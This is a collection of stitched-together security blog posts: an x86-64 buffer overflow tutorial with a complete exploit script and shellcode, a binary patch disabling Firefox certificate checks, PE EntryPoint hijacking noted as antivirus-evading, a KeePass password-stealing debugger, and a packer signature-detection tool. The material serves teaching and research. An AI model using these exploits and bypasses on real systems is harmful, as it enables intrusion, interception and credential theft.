Instead you can use good old 0×90 NOPs or something less obvious like for
example 0x24FF which translates to AND AL, 0xFF.

## Finish him\!

OK, back to the exploit. Now that I know that I can jump to my payload and it
will be executed let’s put some simple metasploit magic there.

> root@yomama\[~\]  
>  \[20:47\]:msfpayload linux/x64/exec CMD=”echo PWND” R | msfencode -b ‘\x00′ -e x64/xor -t c  
>  \[\*\] x64/xor succeeded with size 95 \(iteration=1\)
> unsigned char buf\[\] =  
>  “\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef\xff”  
>  “\xff\xff\x48\xbb\xc5\xb6\x57\xcc\xbf\x7a\x60\xc7\x48\x31\x58″  
>  “\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xaf\x8d\x0f\x55\xf7\xc1″  
>  “\x4f\xa5\xac\xd8\x78\xbf\xd7\x7a\x33\x8f\x4c\x51\x3f\xe1\xdc”  
>  “\x7a\x60\x8f\x4c\x50\x05\x24\xb5\x7a\x60\xc7\xa0\xd5\x3f\xa3″  
>  “\x9f\x2a\x37\x89\x81\xb6\x01\x9b\xf7\xf3\x86\xc8\xc0\xb6\x57″  
>  “\xcc\xbf\x7a\x60\xc7″;
Nothing fancy.  
So putting all together, the exploit will look like this:

> carlos@zarafa:~/c0de$ cat pwn64.py  
>  \#  
>  \# Simple 64 bits b0f example  
>  \# Little and cute.  
>  \#
> offset\_to\_eip = 136
> \# msfpayload linux/x64/exec CMD=”echo PWND” R | msfencode -b ‘\x00′ -e x64/xor -t c  
>  \# \[\*\] x64/xor succeeded with size 95 \(iteration=1\)
> hellcode = \(  
>  “\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef\xff”  
>  “\xff\xff\x48\xbb\xc5\xb6\x57\xcc\xbf\x7a\x60\xc7\x48\x31\x58″  
>  “\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xaf\x8d\x0f\x55\xf7\xc1″  
>  “\x4f\xa5\xac\xd8\x78\xbf\xd7\x7a\x33\x8f\x4c\x51\x3f\xe1\xdc”  
>  “\x7a\x60\x8f\x4c\x50\x05\x24\xb5\x7a\x60\xc7\xa0\xd5\x3f\xa3″  
>  “\x9f\x2a\x37\x89\x81\xb6\x01\x9b\xf7\xf3\x86\xc8\xc0\xb6\x57″  
>  “\xcc\xbf\x7a\x60\xc7″\)
> \# jmp to shellcode at 0x7fffffffe570  
>  \# Note I only write six bytes. The two leading 0×00 bytes  
>  \# \(64 bit address\) are already on the stack.  
>  eip = “\x70\xe5\xff\xff\xff\x7f”
> string = hellcode + \(“\x24\xFF” \* 20\) + “\x90″ + eip \# hardcoded, nasty
> print string
This python script will generate the string used as argument. Let’s follow the
execution inside the debugger…

> carlos@zarafa:~/c0de$ gdb -q ./b0f  
>  \(gdb\) set disassembly-flavor intel  
>  \(gdb\) disassemble boom  
>  Dump of assembler code for function boom:  
>  0×0000000000400530 <+0>: sub rsp,0×88  
>  0×0000000000400537 <+7>: mov rsi,rdi  
>  0x000000000040053a <+10>: mov rdi,rsp  
>  0x000000000040053d <+13>: call 0×400428  
>  0×0000000000400542 <+18>: add rsp,0×88  
>  0×0000000000400549 <+25>: ret  
>  End of assembler dump.  
>  \(gdb\) b\* boom // breakpoint at the beginning  
>  Breakpoint 1 at 0×400530  
>  \(gdb\) b\* 0×0000000000400549 // breakpoint at the RET instruction  
>  Breakpoint 2 at 0×400549  
>  \(gdb\) **r $\(python pwn64.py\)**  
>  Starting program: /home/carlos/c0de/b0f $\(python pwn64.py\)
> Breakpoint 1, 0×0000000000400530 in boom \(\)  
>  \(gdb\) x/8x $rsp // The **saved EIP** value  
>  0x7fffffffe5f8: **0x0040055d 0×00000000** 0×00000000 0×00000000  
>  0x7fffffffe608: 0xf7a78c4d 0x00007fff 0×00000000 0×00000000  
>  \(gdb\) c  
>  Continuing.
> Breakpoint 2, 0×0000000000400549 in boom \(\)  
>  \(gdb\) x/8x $rsp // **overwritten\!**  
>  0x7fffffffe5f8: **0xffffe570** 0×00**007fff** 0×00000000 0×00000000  
>  0x7fffffffe608: 0xf7a78c4d 0x00007fff 0×00000000 0×00000000  
>  \(gdb\) x/32x 0x7fffffffe570 // Our payload is on the stack  
>  0x7fffffffe570: 0x48c93148 0xfff9e981 0x8d48ffff 0xffffef05  
>  0x7fffffffe580: 0xc5bb48ff 0xbfcc57b6 0x48c7607a 0×48275831  
>  0x7fffffffe590: 0xfffff82d 0xaff4e2ff 0xf7550f8d 0xaca54fc1  
>  0x7fffffffe5a0: 0xd7bf78d8 0x4c8f337a 0xdce13f51 0x4c8f607a  
>  0x7fffffffe5b0: 0xb5240550 0xa0c7607a 0x9fa33fd5 0x8189372a  
>  0x7fffffffe5c0: 0xf79b01b6 0xc0c886f3 0xbfcc57b6 0x24c7607a  
>  0x7fffffffe5d0: 0x24ff24ff 0x24ff24ff 0x24ff24ff 0x24ff24ff  
>  0x7fffffffe5e0: 0x24ff24ff 0x24ff24ff 0x24ff24ff 0x24ff24ff  
>  \(gdb\) si  
>  0x00007fffffffe570 in ?? \(\) // single stepping takes me to it  
>  \(gdb\) p $rip  
>  $1 = \(void \(\*\)\(\)\) 0x7fffffffe570  
>  \(gdb\) c  
>  Continuing.  
>  **process 11209 is executing new program: /bin/dash  
>  PWND**
> Program exited normally.  
>  \(gdb\)
Note again the issue with the huge addresses. I didn’t have to write the two
leading zeroes in the address I used to overwrite EIP. The zeros were already
there \(well technically I wrote one of them with the string terminator\).  
This will always be the case since the address at this position is the saved
EIP \(on the .text section and therefore of the form 0x00000000XXXXXXXX\)

## That was long…

As you can see exploitation of string based buffer overflows in x86-64 is
similar to their counterparts in x86, at least at this _baby level_.  
Presumably as we add more complexity to the arena, Unicode, DEP, ASLR, etc.
the _nuances_ like different opcode translation, null bytes in every address,
lack of EBP equivalent and so on will have a bigger effect in the way we solve
the problem.

But let’s not forget that x86-64 brings as well some completely new features
like for example conditional moves . It would be nice to find ways to leverage
this new stuff in order to create new exploitation methods unique to this
platform.

The future looks exciting :\)

**References:**

“Corelan Exploit Writing Tutorials” \(focus on x86\)

“x86-64 Machine-Level Programming” \[PDF\]

“AMD64 Programmer’s Manual” \[PDF\]

## Corelan Training

Posted by carlos on 27/04/2012 No comments

… or the WTFBBQ maker :\)

Last month I had the pleasure to have @corelanc0d3r inhouse giving away
knowledge and pain equally as part of his \*amazing\* _Win32 Exploit
Development Bootcamp._

I thought a quick review is in order so here it is.

<img src='img/Temp2_1152.jpg' width='324' height='432' />“Hi, my Name is
Peter. I came here to teach you some awesome shit.”

You will get two days training in which Peter will fill your head with
information about the following topics:

  * x86 environment basics
  * Saved return pointer overwrites
  * Structured Exception Handlers overwrites
  * Limited buffers, shellcode splitting
  * Fun with Unicode
  * Heap Spraying Fundamentals
  * Egg Hunters
  * Shellcoding
  * Writing exploits for the Metasploit Framework
  * Bypassing ASLR
  * Bypassing NX/DEP
  * Return Oriented Programming
  * Advanced Heap Spraying
  * Use After Free
  * etc.

Yes, I know. It’s a lot right? Well, that’s why it’s called a **bootcamp** ;\)

Let me warning you, this is a \*challenging\* course. Even if you are familiar
with some of the materials and have had some exposure to the advanced topics
you will have to keep focused and do a lot of hands on for loooong hours.

You’ll have to keep Peter’s pace \(good luck with that :P\) and use Immunity
Debugger intensively so make sure to be familiar with its basic operation
because you have no time for “what was the shortcut for that?”

The course is organized as an BYOL so make sure as well that your virtual
machines run with ease and for example, your harddrive is not hogging them.

It’s a fact. Quite probably you are not going to be able to go through all the
material in class and you will forget the half of it after a couple of days.
Peter is well aware of it :\)

Learning is an ongoing process so the course doesn’t end with the _live_
training. After it you will get access to a _student site_ and a second
\(private\) \#corelan IRC channel. There you will be able to ask all questions
you’ll have when revisiting the materials at home \(\*\) as well as discuss
with some other students.

All in all, an amazing training from one exploiting expert worldwide for a
ridiculous price. Don’t miss it.

\(\*\) Do it fuckers\!

## Patching Firefox SSL annoyances

Posted by carlos on 15/03/2012 No comments

A quick and cute application of binary patching.

Today I was discussing with @s3cur1ty\_de how annoying Firefox certificate
validation sometimes was. For example, during a web application pentest, where
you normally have an intercepting proxy which breaks the SSL connection. We
experience sometimes problems due to the proxy certificate not being issued by
a recognized CA. Very annoying stuff…

So I joked about the possibility of _attacking the root of the problem_ and do
some binary patching in order to completely remove the certificate check. It
turned out to be not such a bad idea after all…

As with many problems, the solution is rather easy once you know where to
look. In this case we have the fantastic MDN \(Mozilla Developer Network\)
with tons of resources, code, \*debugging symbols\*, etc.  
Searching around I found this:

<img src='img/Temp2_1151.jpg' width='715' height='344' />

Long story short, this is the function called when the browser finds a
certificate within a SSL connection and proceeds to verify its validity. If
everything is cool it returns SECSuccess \(0×00\).

Nice. But where is this function in my binary, once it’s compiled? Well,
_ssl3.dll_ looked like a good candidate and **there she was, beautiful and
compiled**.

<img src='img/Temp2_1154.jpg' width='679' height='787' /> As you can see this
is kind of a wrapper and the functions performing the actual checks are of the
type CERT\_Verify\* \(more in a moment\).

I used an Ubuntu machine with Apache from my lab for the test. The certificate
was of course self-signed.

As you can see Firefox doesn’t recognize the issuing CA and I get the well
know “internet police” message.  
<img src='img/Temp2_1153.jpg' width='944' height='640' />

Well, this screenshot is in german but you recognize the “connection not
trusted” message. This was expected, wasn’t it?

Now let’s check the _ssl3.dll_ inside Immunity Debugger. You can see two calls
to these CERT\_Verify\* functions. Their return values control the program’s
flux.

<img src='img/Temp2_1149.jpg' width='852' height='434' />I’ll patch both calls
so they just return the correct value \(zero\). To this mean, a simple **xor
eax, eax** will do. You can see the function patched here:

<img src='img/Temp2_1156.jpg' width='743' height='487' />Now what’s left is to
save our modified binary and replace _ssl3.dll_ inside “C:\Program
Files\Mozilla Firefox” with it.

Restart Firefox so it loads the new DLL and visit the same page.

Will it work? \(drums…\)

<img src='img/Temp2_1148.jpg' width='967' height='670' />As Mati Aharoni would
say “…and look at that\!”. The browser opens the page directly without
complaining about the certificate. If we check the connection properties we
find that everything is cool because \(Firefox says\) the certificate has been
issued by a recognized CA, “Ensei Sec Research” :P

Cute, isn’t it?

## Put a MILF in your life

Posted by carlos on 10/03/2012 No comments

**tl;dr:** This is a reverse engineering post, it’s not about that kind of
milf. No fapping this time, sorry. Well… unless you \*really\* are into
reverse engineering…

Quite often, during a reverse engineering session you are confronted with some
\*tedious\* repetitive tasks. Actually more often than you would like.

However these tasks are rather easy to automate using some… \(drums\)…
Python\! Specifically I’m referring to the Python bindings for IDA Pro,
conveniently named IDAPython.

Some months ago I started a little Google Code project with the objective of
creating an IDA Pro plugin that assists with those boring, time consuming
tasks.

Since this is all quite basic I named it “My IDA Light Framework” \(MILF\).
Coincidentally, it shares acronym with another popular english term.

Although none of its features are exactly awesome, if you put all of them
together it’s really a time saver. It saves a headache or two as well.

The plugin is still in a beta stage. There’s a lot of work to be done and the
code sucks. The algorithms could be improved as well…

Anyway, I thought this could be useful to somebody and maybe even someone goes
ahead and would like to contribute. You are very welcome if you want to do so
:\)

These are some of its features:

  * Mark dangerous functions 
    * Look for references to “dangerous” functions within a binary and colour them for easy spotting.
    * For example: “call memcpy”
  * Find immediate compares 
    * Mark all immediate compares in the current function. This is specially useful when analysing a huge function we suspect acts as a parser.
    * For example: cmp esi, 14h
  * Mark switches
  * Show paths between functions
  * Show paths between basic blocks within a function
  * Finds most referenced functions 
    * They are things like memory allocators, etc. Reversing those at the beginning allow us to gain insight.
  * Find File IO 
    * Find functions calling file i/o imports.
  * Find Network IO 
    * Find functions calling network i/o imports.
  * Find Allocations 
    * Find functions allocating/freeing memory.
  * Find dangerous „size params“ 
    * Still a naive approach but interesting. Checks for calls to known problematic functions which accept a “size” parameter. If this argument is not a constant, it’s worth it to take a look in case we can control it :\)
  * Create IDA \(connection\) graphs 
    * A class for creating IDA embedded Graphs, showing the paths between two functions and some other info.
  * Create „custom viewers“ 
    * Useful to display info \(for example results of Find Network IO\) in an embedded viewer within IDA Pro.

From this list the ability to find paths between elements of a binary
\(functions or basic blocks within a given function\) are specially useful in
vulnerability research. The possibility of creating custom viewers and
integrating all this info cleanly into the IDA GUI is very important as well.

Anyway, the best way to describe its features is to see it in action so here’s
a short example video.

## Hijacking EntryPoint for fun and…

Posted by carlos on 14/02/2012 No comments

Today a smart colleague of mine raised an interesting question. In order to
hijack execution at the beginning of a PE32 executable… why don’t we just
change the EntryPoint?

I assumed there would be problems, since this is quite an important PE header
and there might be dependencies \(it could be used later on in the program or
it could be referenced somewhere else, etc.\)

Anyway he got a point and I decided to check it out. After consulting the
amazing Corkami PE documentation it was clear that the specification leaves
some room to do \*crazy shit\* with this parameter.

So I rolled my sleeves and tinkered a bit with putty.exe changing the
EntryPoint in the PE32 header and redirecting execution to a _shellcode_ that
pops a MessageBox with the text “pwnd :\)”.

I know. Not thrilling at all but hey, it’s a proof of concept :P

In the screenshot below you can see how after being loaded in Immunity
Debugger, it stops execution at the EntryPoint, which now points to our little
shellcode. After this gets executed, the flow is redirected to the “original”
EntryPoint and everything looks fine :\)

<img src='img/Temp2_1160.jpg' width='1024' height='747' />

This has the advantage that there aren’t any funny JMP instructions at the
beginning of the code and therefore, it could fool some heuristic-based
antivirus products.

The modified putty.exe is here \(Windows XP SP3 only, since I have hardcoded
some addresses :-/\)

Neat, isn’t it?

## Security Cons and CFP deadlines

Posted by carlos on 16/01/2012 No comments

**Public** Google Calendar \(be nice ;\)\)

List of security cons worldwide and CFP deadlines. In case you want to submit
something :\)

Please collaborate\!  
You can access it and/or add it to your Google Calendar here

## Daemon Wargame

Posted by carlos on 05/01/2012 2 comments

<img src='img/Temp2_1150.jpg' width='800' height='300' />

“The world is at war. You just don’t know it already.”

**tl;dr**

**http://www.daemon-enterprises.com/wargame**

**  
**

I have put together a little wargame to start 2012 with some nice hacking
stuff.

It consists of five challenges covering the following categories:

  * binary reverse engineering
  * payload analysis
  * network steganography
  * QR code magic
  * Active Directory forensics

**How To Play**

The different challenges are logically united through a common plot. I thought
it would be nice to write some kind of “short novel” along the way \(warning,
I’m not a writer, it sucks big time ;\)\)

You have to solve a challenge at the end of each “chapter” in order to access
the next one. Usually the solution of these challenges are some part of an URL
leading to the next chapter.

However, as it’s normal \(and really frustrating\) to get stuck on a challenge
I will unlock a chapter every week or so. This way you have the option of
playing sequentially or just pick up your favorite challenge topic.

Some of the challenges are designed so that you can take a shortcut if you
recognize what’s behind them. A good example of this would be Chapter 0×02
\[Spoiler Alert\!\]

However you can as well take the long road and show what you got\!

**The “hint” panels**

On the right side of the page you can find a couple of “dropdown” panels with
some help. The one at the top, conveniently named “\[ How To \]” contains the
instructions to get the URL for the next chapter.

At the bottom, the panel “hints” contains well… some hints. It contains links
to the materials needed to solve the challenge as well. Note that sometimes
important pieces of information are scattered through the chapter’s text. Be
sure to read it, I know it sucks but it’s short :\)

**The characters**

Some of the characters are anonymous but I took the liberty to add a couple of
chapters starring real world pr0n stars, like Aaron Portnoy or Corelanc0d3r.
Kudos to them and please don’t sue me\! :\)

No seriously guys, don’t sue me :P

**Blah, Blah, cut to the chase**

You can start playing here:

http://www.daemon-enterprises.com/wargame

The unlocked chapters will be announced in twitter, under @m0n0sapiens

Good luck and go save the world\!

### **\[UPDATE\]**

* * *
**Yay, visitors\!**

After one week online, the brave Daemon Taskforce, fighting fiercely against
the \(evil?\) almighty Daemon came from the following countries. \(see graph
below\)

Unfortunately, the graphics are labeled in German, but anyway… it summarizes
like this:

  * the finnish guys are clicking like crazy. Thanks to @mikko for that :\)
  * half of the players come from the good old Europe. Go old continent\!
  * as of 12th January, a total of 99 different countries have checked in.

Also, watch out Daemon, they are getting closer\! ^^

<img src='img/Temp2_1155.jpg' width='472' height='713' alt='Visitor
distribution as of 12 Jan (1 week)' />

## \[Short\] Two kick-ass learning resources

Posted by carlos on 06/12/2011 No comments

If you are into Python \(I do\!\) this should be your new homepage:
facts.learnpython.org

﻿

<img src='img/Temp2_1157.jpg' width='652' height='497' />

But it’s a fact, you can’t ignore Ruby. Gems like nokogiri, savon, buby…
Metasploit… maybe you heard about it :P.

Long story short, the sooner you learn it, the better.

For a nice introduction, with cool graphics, I would recommend this one:
tryruby.org

\(it only takes about 1/2 hour to go through\!\)

<img src='img/Temp2_1158.jpg' width='819' height='475' />

So, what are you exactly waiting for? :\)

## “Finding vulnerabilities” Talk

Posted by carlos on 23/10/2011 No comments

One more year, I will be at the BackTrack Day in Fulda, Germany giving a talk.

This time it goes about how to find vulnerabilities in software and use them
to write an exploit. Since this is just an introduction, the title “Mama,
where do the exploits come from?” seems quite appropriate ;\)

Moreover, I got the last slot, quite late in the evening, when everybody is
rather tired and sleepy so I had to increase the talk’s _fun factor_. You can
get the look and feel in the following preview:

<img src='img/Temp2_1159.jpg' width='649' height='512' />

<img src='img/Temp2_1147.jpg' width='651' height='250' />

If the feedback is good I will consider translating it to english and posting
it here. We’ll see :\)

## KeePass stalking or the power of debugging

Posted by carlos on 28/07/2011 4 comments

Just a PoC of an idea I had some days ago. Software like KeePass, to name one,
have gone to great lengths in order to protect the sensible data on disk or
even memory.  
But everything has a weak link…

The idea is a small “post-exploitation” program which allows you to ~~stalk~~
debug the KeePass.exe module, attaching to it and waiting for an user action
\(copy an username/password to the clipboard.\)

I found that between calls to the Win32 Clipboard API, the cleartext of the
credentials is placed in a predictable place on the stack. A small “debugger”
program attached to it can therefore pause execution at the corresponding
function call and read the password from the stack :\)

This isn’t in any way a robust solution, rather something I coded “quick and
dirty” in Python, using PyDbg \(what else?\) but it should be easy to code a
small Win32 program with exactly the same functionality.  
Don’t forget that after all PyDbg is kind of a wrapper around the Win32
debugging API…

And using the _douchey_ expression “without further ado”, here is a demo
video.

KeePass Live Debugging from Carlos Garcia Prado on Vimeo.

The code can be downloaded here

319 828 534 116

# Immunity Debugger PeDetect and the art of signature generation | Security Researches
**Created:**| _4/3/2010 7:15:25 AM_  
---|---  
**Updated:**| _4/3/2010 7:16:35 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing analysis Malware-analysis signatures
antivirus_  
  

## Immunity Debugger PeDetect and the art of signature generation

January 1 2010 by shahin in reversing |Comments Off

hello to you all

i,m really sorry for our late in posting we really working on lots of things …
before starting about our subject i should tell you about our advisories and
exploits we are not really full-disclosure believers but still we will post
some more exploits and advisories at :

http://www.exploit-db.com/author/abysssec

so stay tuned.

OK let’s start ….

=========================================

before start if you are not familiar with PE : The **Portable Executable**
\(PE\) format is a file formatfor executables, object code, and DLLs, used in
32-bit and 64-bit versions of Windows operating systems. The term “portable”
refers to the format’s versatility in numerous environments of operating
system software architecture.

for more information : http://en.wikipedia.org/wiki/Portable\_Executable

\- now the first question is what is a signature ?

a signature actually is what that means but in computer world and more
specific in reverse engineering and binary auditing world a signature is a
sequence of unique instructions \(actually their representation op-codes\) in
target binary.

for better understanding please watch figure 1

<img src='img/Temp2_4349.png' width='629' height='302' />

figure 1 – a c++ compiled binary opened in immunity debugger

reminiscence : an **opcode** \(**op** eration **code**\) is the portion of a
machine language instruction that specifies the operation to be performed.

in above figure it have tree red rectangular :

  * first rectangular are RVA \(relative virtual address\) of instructions
  * second rectangular are OP-Codes \(will be execute\)
  * third rectangular are readable assembly instructions

so we will search for a sequence of unique op-codes \(so sequence of
instructions\) in our target binary and those byte will be signature of our
binary. simple enough eh ?

\- what and who need to use a signature ?

  * most of anti-virus \(and other anti-things\)
  * and almost all of PE Detection tools

so now you can imagine how an anti-virus company can detect a malware and how
PE-Detection tools \(witch areused for detecting signature in compiled binary
and determine compiler / packer / compressor and … \) works .

\- next question is why we need care about signatures:

  * before starting any fuzzing / reversing / auditing project we need to about our target binary
  * identify binaries those have not any signatures
  * with them we can speed up our reversing and we can find available tools against our target binary

-how we can find signatures in binaries ? 
we should search for static and constant location \(static instructions\) in
our file but how we can find them? for answer to this question please watch PE
file layout again :

<img src='img/Temp2_4353.png' width='153' height='487' />

figure 2 – PE file layout

we can search for signatures in a few areas :

  * around program entry point \(where program instructions will start execution …\)
  * from offset \(from top to bottom\)

each executable file have some other locations can be good for generating
signature those are :

  * around import table \(where functions will be import\)
  * start and end of sections \(optional section specially\)
  * name of optional / static sections
  * ….

so we can just open the executable under debugger and copy a few OP-Codes from
entry point and we are done ? of course not \! because in lots of situations
entry point could be change refer to various factors like :

  * initializing addresses / variables with state of program
  * if we are in fighting against a packer / compressor / cryptor / there are several technologies they can use for hiding / changing instructions …

note : these changes are more on not “just compiled binaries” it means those
have a packer / protector and ….

so how we can find reliable signatures ?

we need to research about variant program situations and then we can
understand which bytes/instructions are constant and which are not then we can
ignore dynamic bytes and rely to static bytes.

before a real case study i just want explain how packer/protectors works :

a packer will do what it sounds : packing a program. think about winzip it
will comperes the program and actually will decrease size of program .

elementary packers just will compress the portable executable and will change
entry point to decompression section for better understanding just watch below
figure.

<img src='img/Temp2_4354.png' width='613' height='219' />figure 3 How typical
packer runtime works

1\. Original data is located somewhere in the packer code data section  
2\. Original data is uncompressed to the originally linked location  
3\. Control is transferred to original code entry point \(OEP\)

Ok now you know how a basic packer works but today modern packers are not just
compressor they will use a lots of anti-debugging technologies against
debugger / disassembler to make reverser life harder. this technologies are
out of scope of this post.

Ok for example if we want to make a signature for a new packer / protector we
need to pack / protect variant executable \(it’s better to test on different
compiler / size\) and then watch which byte of files are changed and which one
are static \!

you can use binary copy option in immunity debugger for starting our test

<img src='img/Temp2_4348.png' width='630' height='334' />figure 4 binary copy

this program is packed with a really simple and good packer named FSG.

and my first signature will be :

87 25 5C AD 41 00 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33

so now i need to pack more files and check my selected Op-codes to know which
one are changed and then we will replace changed op codes with ?? . after a
few try we will get a signature like :

87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33

so if i search for these bytes i can find i can find them in any program those
are packed with FSG v2 \!

this example is really really simple for advanced packer we need really test
more bytes to be sure our signature is good enough but from my experience
length between 30-70 byte from entry point are good enough.

if you be smart you will select good instructions like sections those have
16-bit registers and instructions those are not used all times. so an example
of really good signature can be below figure \(taken from symantec slides\) :

<img src='img/Temp2_4355.png' width='328' height='338' />figure 5 \( a really
good signature \)

OK. now you can make you own signatures just by spending a few time on each
target . there are several tools can be use for detecting signatures if
executable most popular of them are :

  * PEiD
  * RDG Packer Detector
  * PE Detective

but all of them have a same problem not so update signatures \! so if you have
a program that is packed by a really new packer or just a few byte take
changed from their signature most of them will fail \(intelligent signature
detection is out of scope of this post\) . so what we can do ? we should have
our own database for our job .

so i collect all of existing signature database \(those i found\) in internet
and i removed stupid and duplicated signature from the list those are :

  * BoB at Team PEiD signature database
  * Panda Security customized signature database
  * Diablo2002 signature database
  * ARteam members signature database
  * SnD members signature database
  * Fly signature database
  * and …

after i combined all of their signature databases i changed a few of important
signature to be more general and i added some new signature to my list and my
final list right now have around 5064 unique and 4268 from entry point
signature.

PEiD can parse external signatures and it’s nice but i liked to have detection
in my debugger so i searched for a signature detection library in python \(i
like python\) and with a quick search i found nice Pefile coded by Ero Carrera
can handle all of our requirement in working with PE file not only handling
signatures you can download it at :

http://code.google.com/p/pefile/

so i decide to use this library to write a pycommand for immunity debugger
fortunately i found a copy of a pefile in immunity debugger lib \! so all i
have to do is writing a few line of code that can read my database and test it
against my binary and tell me the output .  
so here is my complete script also have a option for auto-update .

[code]

    #!/usr/bin/env python
     
    '''
     This script is for identify packer/protector and compiler used in your target binary
     the first version have more than about 5000 signatures ... we will try to updates signatures monthly
     and for now it will use entry point scaning method ...
     
     Tree Important Notes :
     First  the database signatures are reaped by lots of people we should thanks them : BoBSoft at Team PEID  , fly , diablo2oo2 and others you can find their name in list ...
     Second A big thanks to Ero Carrera for his nice python pefile lib the hard part of processing singanutes is done by his library .
     Third  we updated some of signatures and will keep update them monthly  for detection newer version of packers / comprassion algorithm (hopefully) 
     
     thanks to nicolas waisman / Muts (offsec) and all of abysssec memebers ...
     
     Feel free to contact me with admin [at] abysssec.com
    '''
     
    #import python libraries
    import os
    import sys
    import getopt
    import pefile
    import immlib
    import peutils
    import hashlib
    import shutil
    import urllib
     
    __VERSION__ = '0.2'
     
    DESC= "Immunity PyCommand PeDectect will help you to identfy packer / protection used in target binary"
    USAGE = "!PeDetect"
     
    #global
    downloaded = 0
     
    #Using debugger functionality
    imm = immlib.Debugger()
     
    # pedram's urllib_hook
    def urllib_hook (idx, slice, total):
        global downloaded
     
        downloaded += slice
     
        completed = int(float(downloaded) / float(total) * 100)
     
        if completed &gt; 100:
            completed = 100
     
        imm.Log("   [+] Downloading new signatures ... %d%%" % completed)
     
    # Downloader function
    def get_it (url, file_name):
        global downloaded
     
        downloaded = 0
        u = urllib.urlretrieve(url, reporthook=urllib_hook)
        #imm.Log("")
        shutil.move(u[0], file_name)
     
    # Calculate MD5Checksum for specific file
    def md5checksum(fileName, excludeLine="", includeLine=""):
        m = hashlib.md5()
        try:
            fd = open(fileName,"rb")
        except IOError:
            imm.Log("Unable to open the file in readmode:", filename)
            return
        content = fd.readlines()
        fd.close()
        for eachLine in content:
            if excludeLine and eachLine.startswith(excludeLine):
                continue
            m.update(eachLine)
        m.update(includeLine)
        return m.hexdigest()
     
    # Simple Usage Function
    def usage(imm):
        imm.Log("!PeDetect -u (for updating signature ... )" )
     
    # Auto-Update function
    def update():
     
        # Using urlretrieve won't overwrite anything
        try:
            download = urllib.urlretrieve('http://abysssec.com/AbyssDB/Database.TXT')
        except Exception , problem:
            imm.Log ("Error : %s"% problem)
     
        # Computation MD5 cheksum for both existing and our current database
        AbyssDB = md5checksum(download[0])
        ExistDB = md5checksum('Data/Database.TXT')
     
        imm.Log(" [!] Checking for updates ..." , focus=1, highlight=1)
        imm.Log("")
        imm.Log(" [*] Our  database checksum : %s "%AbyssDB)
        imm.Log(" [*] Your database checksum : %s "%ExistDB)
        imm.Log("")
     
        if AbyssDB != ExistDB:
     
            imm.Log("[!] Some update founds updating ....")        
     
            # Removing existing one for be sure ...
            if os.path.exists('Data/Database.txt'):
                os.remove('Data/Database.txt')
     
            # Download latest database
            try:
                get_it("http://abysssec.com/AbyssDB/Database.TXT", "Data/Database.txt")
            except Exception,mgs:
                return " [-] Problem in downloading new database ..." % mgs
     
            imm.log("   [+] Update Comepelete !")
     
        else:
            imm.Log(" [!] You have our latest database ...")
     
    # Main Fuction
    def main(args):
     
        if args:
            if args[0].lower() == '-u':
                update()
            else:
                imm.Log("[-] Bad argumant use -u for update ...")
                return  "[-] Bad argumant use -u for update ..."
        else:
            try:
                # Getting loded exe path
                path = imm.getModule(imm.getDebuggedName()).getPath()
            except Exception, msg:
                return "Error: %s" % msg
     
            # Debugged Name
            name = imm.getDebuggedName()
     
            # Loading loaded pe !
            pe = pefile.PE(path)
     
            # Loading signatures Database
            signatures = peutils.SignatureDatabase('Data/Database.TXT')
     
            # Mach the signature using scaning entry point only !
            matched = signatures.match(pe , ep_only=True)        
     
            imm.Log("===================  WwW.Abysssec.com  =======================")
            imm.Log("")
            imm.Log("[*] PeDetect By Shahin Ramezany" , focus=1, highlight=2)
            #imm.Log("=============================================================")
            imm.Log("[*] Total loaded  signatures : %d" % (signatures.signature_count_eponly_true + signatures.signature_count_eponly_false + signatures.signature_count_section_start))
            imm.Log("[*] Total ep_only signatures : %d" % signatures.signature_count_eponly_true)
            #imm.Log("=============================================================")
            imm.Log("")
     
            # Signature found or not found !
            if matched:
                imm.log("[*] Processing : %s " % name)
                imm.Log("[+] Signature Found  : %s "   % matched , focus=1, highlight=1)
                imm.Log("")
            else:
                imm.log("[*] Processing   %s !" % name)
                imm.Log("   [-] Signatue Not Found !" , focus=1, highlight=1)
                imm.Log("")
     
        # Checking for arguements !
            if not args:
                usage(imm)
     
            return "[+] See log window (Alt-L) for output / result ..."
    
[/code]

for using this script you just need copy PeDetect.py in you PyCommand
directory in immunity debugger python then copy Database.TXT in DATA folder in
immunity debugger. after this you just need run it from immunity debugger
command bar using \!PeDetect you can see the output of this script against
some files…

<img src='img/Temp2_4350.png' width='432' height='171' />  
figure 6 – output of PeDetect against not packed file

<img src='img/Temp2_4352.png' width='441' height='168' />  
figure 7 – output against packed file

also this have an argument \!PeDetect -u for updating your signature to our
latest database. notice that my script will use md5checksum so your changes
meaning it won’t be same as my database and your database will be update
automatically.

<img src='img/Temp2_4351.png' width='450' height='122' />

figure 8 – update command

PS : after i wrote this i saw another PyCommand named scanpe wrote by BoB at
PeiD it’s really good and have PE scan option but have not update update so no
more new signatures …

references :

  * Automatic Generation of String Signatures for Malware Detection
  * Signature Generation by korupt \(http://korupt.co.uk\)
  * Team PEiD forums
  * Immunity Debugger online documentation
  * FSecure – reverse engineering slides
  * My time

download PeDetect \(database + pycommand\) from : \(please read the ReadMe.txt
for installation guide\)

http://www.abysssec.com/files/PeDetect.zip

happy new years \!

cheers

# Using bpython shell with django \(and some Ipython features you should
know\) — The Usware Blog - Django Web Development

**Created:**| _12/13/2009 9:42:01 PM_  
---|---  
**Updated:**| _12/13/2009 9:42:09 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

# Using bpython shell with django \(and some Ipython features you should
know\)

by LAKSHMAN on DECEMBER 12, 2009

### What is bpython?

> bpython is a fancy interface to the Python interpreter for Unix-like
> operating system.
says the bpython home page. It provides syntax highlighting, auto completion,
auto-indentation and such stuff.

Unlike iPython, which implements then entire shell functions and emulates the
standard python shell, and adds enhancements, bpython just adds features on
top of the existing python shell functionality, using the curses module.

<img src='img/Temp2_8782.png' alt='bpython' />

The “killer feature” of bpython is, as you can see from the image above, the
IDE like prompting of the function parameters and the doc string of the
function dynamically. I have always thought, what IntellijIDEA is to Java,
IPython is to Python\*. But bpython makes it more so, in terms of the code
completion, which adds a lot of value to a  _ramping up developer_.

The only Python IDE that provides Source Assistant and Go-To-Source
